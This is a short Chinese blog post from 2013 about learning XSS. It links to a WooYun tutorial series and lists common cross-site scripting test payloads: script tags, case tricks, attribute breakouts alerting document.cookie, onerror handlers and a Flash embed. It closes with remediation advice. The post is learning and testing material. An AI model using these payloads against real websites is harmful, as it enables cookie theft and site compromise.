有关XSS的一个系列教程
在乌云发现了一个有关XSS的教程,目前有21篇,够我慢慢儿学的了。
这个系列教程的地址:http://www.wooyun.org/whitehats/心伤的瘦子/page/1
几个常见的语句
<script>alert('xss')</script> //默认形式
<ScrIpT>alert("xss")</SCriPt> //变换大小写
"/><script>alert(document.cookie)</script><!-- // <!-- 表示的意思是 闭合注释
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)
<img src=javascript:alert("xss")></img //变换形式
<img src=javascript:alert("xss")> //使用ASCII表示
<IMG SRC="jav	ascript:alert('XSS');" > //插入干扰
<DIV STYLE="width:expression(alert(163));"> //其他属性
<DIV STYLE="xss:expr/*XSS*/ession(alert(163))"> //再干扰
<img src="#" onerror=alert(/xss/)> //借用事件
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>// flash跨站
补充内容
下面的是一篇讲XSS基础原理和使用的文章,写得很好。http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html
其中下面的这段话(也是摘自原文)讲的是《xss漏洞修复》,既是测试有必要关注的测试点,也是开发每每需要留意的地方。
原则: 不相信客户输入的数据
注意: 攻击代码不一定在<script></script>中
- 将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
- 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
- 对数据进行Html Encode 处理
- 过滤或移除特殊的Html标签, 例如: <script>, <iframe> , < for <, > for >, " for
- 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。
posted on 2013-11-27 11:25 nashviller 阅读(3312) 评论(0) 编辑 收藏 举报